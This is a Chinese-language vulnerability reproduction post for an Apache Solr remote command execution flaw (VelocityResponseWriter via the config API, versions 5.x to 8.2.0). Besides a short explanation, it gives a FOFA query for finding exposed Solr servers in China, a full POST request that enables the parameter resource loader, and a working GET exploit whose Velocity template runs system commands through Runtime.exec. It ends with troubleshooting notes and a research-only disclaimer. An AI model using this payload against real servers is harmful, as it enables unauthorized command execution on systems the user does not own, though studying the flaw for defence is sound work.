【漏洞復現】Apache Solr遠程命令執行

0x00 漏洞簡介

---

Solr是一個獨立的企業級搜索應用服務器，它對外提供相似於Web-service的API接口。用戶能夠經過http請求，向搜索引擎服務器提交必定格式的XML文件，生成索引；也能夠經過Http Get操做提出查找請求，並獲得XML格式的返回結果。

---

0x01 漏洞概述

---

該漏洞的產生是因爲兩方面的緣由：

1. 當攻擊者能夠直接訪問Solr控制檯時，能夠經過發送相似/節點名/config的POST請求對該節點的配置文件作更改。

2. Apache Solr默認集成VelocityResponseWriter插件，在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模版，默認設置是false。
   當設置params.resource.loader.enabled爲true時，將容許用戶經過設置請求中的參數來指定相關資源的加載，這也就意味着攻擊者能夠經過構造一個具備威脅的攻擊請求，在服務器上進行命令執行。（來自360CERT）

---

0x02 影響範圍

---

Apache Solr 5.x - 8.2.0，存在config API版本

---

0x03 漏洞復現

使用fofa搜索語法
app="Solr" && country="CN"

利用前提：攻擊者須要知道Solr服務中Core的名稱才能執行攻擊。

---

如上圖所示的這個名稱就是Core的名稱 直接構造POST請求，在/solr/test/config目錄POST如下數據（修改Core的配置）

---

POST /solr/test/config HTTP/1.1
Host: ip:port
Content-Type: application/json
Content-Length: 259
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }

使用exp,進行漏洞利用

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip:port
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

---

---

0x04 漏洞復現那些坑

---

1. 版本不對（或者是服務器請求處理機制不對，大佬是這個咋不懂，咋也不敢問），第一個坑。（因爲我是直接使用fofa直接搜索，因此纔會致使這個多坑）

2. POST請求包裏面的header不對，緣由：由於我是我直接抓包，而後使用burpsuite修改請求包，而後致使這個結果，以致於我浪費了不少時間。

3. 數據包請求方法不對。

0x05 參考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

0x06 免責聲明

本文中提到的漏洞利用Poc和腳本僅供研究學習使用，請遵照《網絡安全法》等相關法律法規。
致謝：上上下下左左右右ba